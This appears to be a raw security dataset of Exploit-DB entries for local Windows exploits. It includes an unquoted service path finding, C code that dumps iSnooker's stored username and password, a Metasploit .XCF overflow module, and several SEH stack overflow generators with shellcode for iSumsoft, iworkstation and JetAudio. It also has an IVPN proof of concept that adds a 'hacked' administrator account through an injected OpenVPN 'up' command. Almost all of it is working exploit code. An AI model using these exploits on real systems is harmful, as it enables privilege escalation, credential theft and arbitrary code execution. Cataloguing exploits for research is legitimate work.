deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48171
Description: Iskysoft Application Framework Service 2.4.3.241 - 'IsAppService' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-03-06
Author: Alejandro Reyes

Exploit:
# Exploit Title: Iskysoft Application Framework Service 2.4.3.241 - 'IsAppService' Unquoted Service Path
# Discovery by: Alejandro Reyes
# Discovery Date: 2020-03-05
# Vendor Homepage: https://www.iskysoft.us
# Software Link : https://www.iskysoft.us/lp/filmora-video-editor/?gclid=EAIaIQobChMIo-WL-Z6h5wIVwR0YCh3O7QYsEAAYAiAAEgJ_m_D_BwE
# Tested Version: 2.4.3.241
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Home x64 

# Step to discover Unquoted Service Path: 



C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr "Iskysoft" | findstr /i /v """

Iskysoft Application Framework Service     IsAppService    C:\Program Files (x86)\Iskysoft\IAF\2.4.3.241\IsAppService.exe    Auto

# Service info:

C:\WINDOWS\system32>sc qc "IsAppService"

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IsAppService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files (x86)\Iskysoft\IAF\2.4.3.241\IsAppService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Iskysoft Application Framework Service
        DEPENDENCIES       : RPCSS


# Exploit:

# A successful attempt would require the local user to be able to insert their code in the 
# system root path undetected by the OS or other security applications where it could 
# potentially be executed during application startup or reboot. If successful, the local 
# user's code would execute with the elevated privileges of the application.
Exploit-DB #884
Description: iSnooker 1.6.8 - Local Password Disclosure
Type: local
Platform: windows
Date: 2005-03-16
Author: Kozan

Exploit:
/*****************************************************************

iSnooker <= v1.6.8 Local Password Disclosure Exploit by Kozan

Application: iSnooker 1.6.8

Vendor:
Memir Software - memirsoftware.com and
The Snooker Club - thesnookerclub.com

Vulnerable Description:
iSnooker 1.6.8 discloses passwords to local users.

Discovered & Coded by Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com

*****************************************************************/

#include <stdio.h>
#include <string.h>
#include <windows.h>

HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

int main()
{
       if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,

"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
                                       0,
                                       KEY_QUERY_VALUE,
                                       &hKey) == ERROR_SUCCESS)
       {

           lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,
              (LPBYTE) prgfiles, &dwBufLen);

                       if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
                                RegCloseKey(hKey);
                                printf("An error occured. Can't get password!\n");
                                return -1;
                       }

                       RegCloseKey(hKey);

   }
       else
       {
               printf("An error occured. Can't get password!\n");
               return -1;
       }

       printf("\n\niSnooker 1.6.8 Local Password Disclosure Exploit by Kozan\n");
       printf("Credits to ATmaCA\n");
       printf("kozan@netmagister.com\n");
       printf("www.netmagister.com - www.spyinstructors.com\n\n");

       char pwdfile[BUFSIZE], username[BUFSIZE], password[BUFSIZE];

strcpy(pwdfile,strcat(prgfiles,"\\TheSnookerClub\\iSnooker\\MyDetails.txt"));

       int addr, i, y;
       FILE *fp;
       char ch[100], ch2[100];

       if((fp=fopen(pwdfile,"rb")) == NULL)
       {
               printf("An error occured. Can't get password!\n");
               return -1;
       }

       fseek(fp,0,0);

       for(i=0;i<30;i++)
       {
               ch[i]=getc(fp);
               if(ch[i]==0x0D)
               {
                       ch[i]=NULL;
                       strcpy(username,ch);
                       break;
               }
       }

       addr = ftell(fp);
       fseek(fp,addr+1,0);

       for(y=0;y<30;y++)
       {
               ch2[y]=getc(fp);
               if(ch2[y]==0x0D)
               {
                       ch2[y]=NULL;
                       strcpy(password,ch2);
                       break;
               }
       }

       fclose(fp);

       printf("Username        : %s\n",username);
       printf("Password        : %s\n",password);

       return 0;
}

// milw0rm.com [2005-03-16]
Exploit-DB #18947
Description: ispVM System - '.XCF' File Handling Overflow (Metasploit)
Type: local
Platform: windows
Date: 2012-05-29
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info={})
		super(update_info(info,
			'Name'           => "ispVM System XCF File Handling Overflow",
			'Description'    => %q{
					This module exploits a vulnerability found in ispVM System 18.0.2.  Due to the way
				ispVM handles .xcf files, it is possible to cause a buffer overflow with a specially
				crafted file, when a long value is supplied for the version attribute of the ispXCF
				tag. It results in arbitrary code execution under the context of the user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Unknown', # Vulnerability Discovery
					'juan vazquez' # Metasploit
				],
			'References'     =>
				[
					['OSVDB', '82000'],
					['BID', '53562'],
					['URL', 'http://secunia.com/advisories/48740/']
				],
			'Payload'        =>
				{
					'Space'    => 4000,
					'BadChars' => "\x00\x1a\x3c\x20\x3e\xff"
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "process",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'ispVM System 18.0.2 / Windows XP SP3 / Windows 7 SP1',
						{
							'Offset' => 274,
							'BreakOffset' => 243,
							'Ret' => 0x780e9d6e # jmp esp from C:\ispTOOLS\ispvmsystem\MSVCP60.dll
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => "May 16 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.xcf']),
			], self.class)

	end

	def exploit

		buf = rand_text(target['Offset'])
		buf[target['BreakOffset']] = "A"
		buf << [target.ret].pack("V")
		buf << payload.encoded

		xcf = %Q|
		<?xml version='1.0' encoding='utf-8' ?>
		<!DOCTYPE		ispXCF	SYSTEM	"IspXCF.dtd" >
		<ispXCF version="#{buf}">
		</ispXCF>
		|

		file_create(xcf)
	end
end
Exploit-DB #44224
Description: iSumsoft ZIP Password Refixer 3.1.1 - Buffer Overflow
Type: local
Platform: windows
Date: 2018-03-02
Author: ScrR1pTK1dd13

Exploit:
author = '''
   
                ##############################################
                #    Created: ScrR1pTK1dd13                  #
                #    Name: Greg Priest                       #
                #    Mail: ScR1pTK1dd13.slammer@gmail.com    # 
                ##############################################
   
# Exploit Title:iSumsoft Local Buffer Overflow Vuln. 0day(SEH)
# Date: 2018.03.02
# Exploit Author: Greg Priest
# Version: iSumsoft ZIP Password Refixer Version 3.1.1
# Tested on: Windows7 x64 HUN/ENG Professional
'''

junk = "A" * 340
nSEH = "\xeb\x06\x90\x90"
SEH = "\x0C\x70\x8D\x73"
nop = "\x90" *16

shellcode =(
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" + #cmd.exe shellcode! 
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" +
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33" +
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b" +
"\x57\x78\x01\xc2\x8b\x7a\x20\x01" +
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" +
"\x45\x81\x3e\x43\x72\x65\x61\x75" +
"\xf2\x81\x7e\x08\x6f\x63\x65\x73" +
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66" +
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" +
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" +
"\xb1\xff\x53\xe2\xfd\x68\x63\x61" +
"\x6c\x63\x89\xe2\x52\x52\x53\x53" +
"\x53\x53\x53\x53\x52\x53\xff\xd7")

crash = junk + nSEH + SEH + nop + shellcode + "C" * 300

exploit = open('iSumsoft-exploit.txt', 'w')
exploit.write(crash)
exploit.close()

print author
print '''
        #####################
        #This is a PoC code!#   
        #####################

'''
print "[+] iSumsoft-exploit.txt ready!"
print '[+] Copy iSumsoft-exploit.txt string and paste "start from:" field!'
Exploit-DB #41265
Description: IVPN Client 2.6.1 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2017-02-06
Author: Kacper Szurek

Exploit:
# Exploit IVPN Client for Windows 2.6.6120.33863 Privilege Escalation
# Date: 06.02.2017
# Software Link: https://www.ivpn.net/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: local
 
1. Description

It is possible to run `openvpn` as `SYSTEM` with custom openvpn.conf.

Using `--up cmd` we can execute any command.

https://security.szurek.pl/ivpn-client-for-windows[PII_REDACTED]3-privilege-escalation.html

2. Proof of Concept

import socket

print "IVPN Client for Windows 2.6.6120.33863 Privilege Escalation"
print "by Kacper Szurek"
print "http://security.szurek.pl/"
print "https://twitter.com/KacperSzurek"

hostname = "is.gw.ivpn.net 2049"
username = "your_username"
password = "your_password"

open(r'c:\\1\\test.bat', 'w').write('net user hacked /add\nnet localgroup administrators hacked /add')

port = int(open(r"c:\Program Files\IVPN Client\etc\port.txt").read())

a = r'{"$type":"IVPN.OpenVPNServer, IVPN.Core","id":"id","region":"region","country":"country","city":"city","hostnames":{"$type":"System.Collections.Generic.List`1[[System.String, mscorlib]], mscorlib","$values":["'+hostname+r'\r\nup c:\\\\\\\\1\\\\\\\\test.bat\r\nverb"]},"ports":{"$type":"System.Collections.Generic.List`1[[IVPN.OpenVPNServerPort, IVPN.Core]], mscorlib","$values":[{"$type":"IVPN.OpenVPNServerPort, IVPN.Core","protocol":1,"port":2000}]}}'

b = r'{"$type":"IVPN.IVPNConnectRequest, IVPN.Core","entryServer":'+a+',"exitServer":'+a+',"username":"'+username+'","password":"'+password+'","portProtocol":{"$type":"IVPN.OpenVPNServerPort, IVPN.Core","protocol":1,"port":2000},"proxyType":"sth","proxyAddress":"proxyAddress","proxyPort":100,"proxyUsername":"proxyUsername","proxyPassword":"proxyPassword"}'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", port))
s.send(b)

print "OK"

3. Solution

Update to version 2.6.2

https://www.ivpn.net/setup/windows-changelog.html
Exploit-DB #15133
Description: iworkstation 9.3.2.1.4 - Local Overflow (SEH)
Type: local
Platform: windows
Date: 2010-09-27
Author: sanjeev gupta

Exploit:
#iworkstation Version 9.3.2.1.4 seh exploit
#Author Sanjeev Gupta san.gupta86[at]gmail.com
#Download Vulnerable application from http://www.sharewareplaza.com/iworkstation-downloads_68989.html
#Vulnerable version iworkstation Version 9.3.2.1.4
#Tested on XP SP2
#Greets Puneet Jain


my $head = "\x5B\x70\x6C\x61\x79\x6C\x69\x73\x74\x5D\x0D\x0A\x46\x69\x6C\x65\x31\x3D";
my $buff = "\x41" x 260;
my $buff1= "\xeb\x06\x90\x90";
my $buff2 = pack('V',0x73421DEF);                          #73421DEF   5E               POP ESI

my $slide = "\x90" x 12;
my $code =
"\xDB\xDF\xD9\x74\x24\xF4\x58\x2B\xC9\xB1\x33\xBA".
"\x4C\xA8\x75\x76\x83\xC0\x04\x31\x50\x13\x03\x1C\xBB\x97\x83\x60".
"\x53\xDE\x6C\x98\xA4\x81\xE5\x7D\x95\x93\x92\xF6\x84\x23\xD0\x5A".
"\x25\xCF\xB4\x4E\xBE\xBD\x10\x61\x77\x0B\x47\x4C\x88\xBD\x47\x02".
"\x4A\xDF\x3B\x58\x9F\x3F\x05\x93\xD2\x3E\x42\xC9\x1D\x12\x1B\x86".
"\x8C\x83\x28\xDA\x0C\xA5\xFE\x51\x2C\xDD\x7B\xA5\xD9\x57\x85\xF5".
"\x72\xE3\xCD\xED\xF9\xAB\xED\x0C\x2D\xA8\xD2\x47\x5A\x1B\xA0\x56".
"\x8A\x55\x49\x69\xF2\x3A\x74\x46\xFF\x43\xB0\x60\xE0\x31\xCA\x93".
"\x9D\x41\x09\xEE\x79\xC7\x8C\x48\x09\x7F\x75\x69\xDE\xE6\xFE\x65".
"\xAB\x6D\x58\x69\x2A\xA1\xD2\x95\xA7\x44\x35\x1C\xF3\x62\x91\x45".
"\xA7\x0B\x80\x23\x06\x33\xD2\x8B\xF7\x91\x98\x39\xE3\xA0\xC2\x57".
"\xF2\x21\x79\x1E\xF4\x39\x82\x30\x9D\x08\x09\xDF\xDA\x94\xD8\xA4".
"\x05\x77\xC9\xD0\xAD\x2E\x98\x59\xB0\xD0\x76\x9D\xCD\x52\x73\x5D".
"\x2A\x4A\xF6\x58\x76\xCC\xEA\x10\xE7\xB9\x0C\x87\x08\xE8\x6E\x46".
"\x9B\x70\x5F\xED\x1B\x12\x9F";



my $buff4 = "\x90" x 20000;
my $file = "POC.pls";

open ($File,">$file");
print  $File $head.$buff.$buff1.$buff2.$slide.$code.$buff4;
close($File)
Exploit-DB #9375
Description: JetAudio 7.1.9.4030 - '.m3u' Universal Stack Overflow (SEH)
Type: local
Platform: windows
Date: 2009-08-06
Author: Dr_IDE

Exploit:
#!/usr/bin/env python

###########################################################################################
#
# JetAudio 7.1.9.4030 Universal Stack Overflow Exploit (SEH)
# Coded By: Dr_IDE
# Found By: HACK4LOVE
# Tested on Windows XP SP2
# 
############################################################################################

# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
sc = ("\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49"
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
"\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47"
"\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c"
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a"
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46"
"\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45"
"\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c"
"\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c"
"\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44"
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c"
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46"
"\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50"
"\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44"
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45"
"\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43"
"\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b"
"\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43"
"\x51\x42\x4c\x42\x43\x43\x30\x41\x41");


jump = ("\xEB\x06\x90\x90");
retn = ("\x45\x10\x22\x01");
nops = ("\x90" * 16);
buff = ("http://" + "\x41" * 1017);
junk = ("\x45" * (876 - len(sc)));

f1 = open('Dr_IDE-JetAudio.M3U','w');
f1.write(buff + jump + retn + nops + sc + junk);
f1.close();

# milw0rm.com [2009-08-06]
Exploit-DB #9619
Description: jetAudio 7.1.9.4030 plus - vx(asx/wax/wvx) Universal Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-09-09
Author: hack4love

Exploit:
#!/usr/bin/perl
# Found By :: HACK4LOVE
# hack4love@hotmail.com
# jetAudio v 7.1.9.4030 plus vx(asx/wax/wvx)Universal Local BOF (SEH)
#######################################################################
# use-->>open file-->>hac4love.asx >>>after that just move the mouse to
## information box in the jetAudio program without click boom calc !!!
#######################################################################
##http://www.jetaudio.com/
#######################################################################
## work sooooooo good have fun
#######################################################################
my $bof="http://"."\x41" x 1017;
my $nsh="\xEB\x06\x90\x90";
my $seh="\xc3\x20\x40\x5f";##C:\Program Files\JetAudio\MFC42.DLL
my $nop="\x90" x 20;
my $sec=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
print $bof.$nsh.$seh.$nop.$sec;
###################################################################
open(myfile,'>> HACK4LOVE.asx');
print myfile $bof.$nsh.$seh.$nop.$sec;
###################################################################

# milw0rm.com [2009-09-09]
Exploit-DB #4531
Description: jetAudio 7.x - '.m3u' Local Overwrite (SEH)
Type: local
Platform: windows
Date: 2007-10-14
Author: h07

Exploit:
#!/usr/bin/python
# jetAudio 7.x (m3u File) 0day Local SEH Overwrite Exploit
# Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
# Tested on: jetAudio 7.0.3 Basic / 2k SP4 Polish
# Shellcode: Windows Execute Command (calc) <metasploit.com>
# Just for fun  ;) 
##

from struct import pack

m3u = ("#EXTM3U\nhttp://%s")

shellcode = (
"\x6a\x22\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8d\x6c\xf6"
"\xb2\x83\xeb\xfc\xe2\xf4\x71\x84\xb2\xb2\x8d\x6c\x7d\xf7\xb1\xe7"
"\x8a\xb7\xf5\x6d\x19\x39\xc2\x74\x7d\xed\xad\x6d\x1d\xfb\x06\x58"
"\x7d\xb3\x63\x5d\x36\x2b\x21\xe8\x36\xc6\x8a\xad\x3c\xbf\x8c\xae"
"\x1d\x46\xb6\x38\xd2\xb6\xf8\x89\x7d\xed\xa9\x6d\x1d\xd4\x06\x60"
"\xbd\x39\xd2\x70\xf7\x59\x06\x70\x7d\xb3\x66\xe5\xaa\x96\x89\xaf"
"\xc7\x72\xe9\xe7\xb6\x82\x08\xac\x8e\xbe\x06\x2c\xfa\x39\xfd\x70"
"\x5b\x39\xe5\x64\x1d\xbb\x06\xec\x46\xb2\x8d\x6c\x7d\xda\xb1\x33"
"\xc7\x44\xed\x3a\x7f\x4a\x0e\xac\x8d\xe2\xe5\x9c\x7c\xb6\xd2\x04"
"\x6e\x4c\x07\x62\xa1\x4d\x6a\x0f\x97\xde\xee\x6c\xf6\xb2")

NEXT_SEH_RECORD = 0x909006EB  # JMP SHORT + 0x06
SE_HANDLER = 0x7CEA61F7       # POP POP RET (SHELL32.DLL / 2k SP4 Polish)

buf = "CLICK ME"
buf += "\x20" * 1009
buf += pack("<L", NEXT_SEH_RECORD)
buf += pack("<L", SE_HANDLER)
buf += "\x90" * 128
buf += shellcode

m3u %= buf

fd = open("evil.m3u", "w")
fd.write(m3u)
fd.close()

print "DONE"

# EoF

# milw0rm.com [2007-10-14]
Exploit-DB #11208
Description: jetAudio 8.0.0.2 Basic - '.m3u' Local Stack Overflow
Type: local
Platform: windows
Date: 2010-01-21
Author: cr4wl3r

Exploit:
#!/usr/bin/perl
# Title: jetAudio 8.0.0.2 Basic (m3u) Stack Overflow Exploit
# Author: cr4wl3r <cr4wl3r[!]linuxmail.org>
# Tested: Windows xp(sp2)
#########################################

my $file="b00m.m3u";

my $header = "http://";
my $junk = "A" x 1017;
my $nseh = "\xeb\x06\x90\x90";  
my $seh = pack('V',0x01221045); 

my $shellcode = 
"\x33\xC9\x83\xE9\xB0\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13".
"\xA8\x45\xF5\xB8\x83\xEB\xFC\xE2\xF4\x54\x2F\x1E\xF5\x40\xBC".
"\x0A\x47\x57\x25\x7E\xD4\x8C\x61\x7E\xFD\x94\xCE\x89\xBD\xD0".
"\x44\x1A\x33\xE7\x5D\x7E\xE7\x88\x44\x1E\xF1\x23\x71\x7E\xB9".
"\x46\x74\x35\x21\x04\xC1\x35\xCC\xAF\x84\x3F\xB5\xA9\x87\x1E".
"\x4C\x93\x11\xD1\x90\xDD\xA0\x7E\xE7\x8C\x44\x1E\xDE\x23\x49".
"\xBE\x33\xF7\x59\xF4\x53\xAB\x69\x7E\x31\xC4\x61\xE9\xD9\x6B".
"\x74\x2E\xDC\x23\x06\xC5\x33\xE8\x49\x7E\xC8\xB4\xE8\x7E\xF8".
"\xA0\x1B\x9D\x36\xE6\x4B\x19\xE8\x57\x93\x93\xEB\xCE\x2D\xC6".
"\x8A\xC0\x32\x86\x8A\xF7\x11\x0A\x68\xC0\x8E\x18\x44\x93\x15".
"\x0A\x6E\xF7\xCC\x10\xDE\x29\xA8\xFD\xBA\xFD\x2F\xF7\x47\x78".
"\x2D\x2C\xB1\x5D\xE8\xA2\x47\x7E\x16\xA6\xEB\xFB\x16\xB6\xEB".
"\xEB\x16\x0A\x68\xCE\x2D\x35\xB8\xCE\x16\x7C\x59\x3D\x2D\x51".
"\xA2\xD8\x82\xA2\x47\x7E\x2F\xE5\xE9\xFD\xBA\x25\xD0\x0C\xE8".
"\xDB\x51\xFF\xBA\x23\xEB\xFD\xBA\x25\xD0\x4D\x0C\x73\xF1\xFF".
"\xBA\x23\xE8\xFC\x11\xA0\x47\x78\xD6\x9D\x5F\xD1\x83\x8C\xEF".
"\x57\x93\xA0\x47\x78\x23\x9F\xDC\xCE\x2D\x96\xD5\x21\xA0\x9F".
"\xE8\xF1\x6C\x39\x31\x4F\x2F\xB1\x31\x4A\x74\x35\x4B\x02\xBB".
"\xB7\x95\x56\x07\xD9\x2B\x25\x3F\xCD\x13\x03\xEE\x9D\xCA\x56".
"\xF6\xE3\x47\xDD\x01\x0A\x6E\xF3\x12\xA7\xE9\xF9\x14\x9F\xB9".
"\xF9\x14\xA0\xE9\x57\x95\x9D\x15\x71\x40\x3B\xEB\x57\x93\x9F".
"\x47\x57\x72\x0A\x68\x23\x12\x09\x3B\x6C\x21\x0A\x6E\xFA\xBA".
"\x25\xD0\x47\x8B\x15\xD8\xFB\xBA\x23\x47\x78\x45\xF5\xB8";


my $footer="E" x (2000-length(junk.nseh.seh.shellcode));

my $payload = $header.$junk.$nseh.$seh.$shellcode.$footer;

print " Writing payload to file\n";

open(sploitf,">$file");
print sploitf $payload;
close(sploitf);
print " Exploit file " . b00m . " created\n";
print " b00m " . length($payload) . " bytes\n";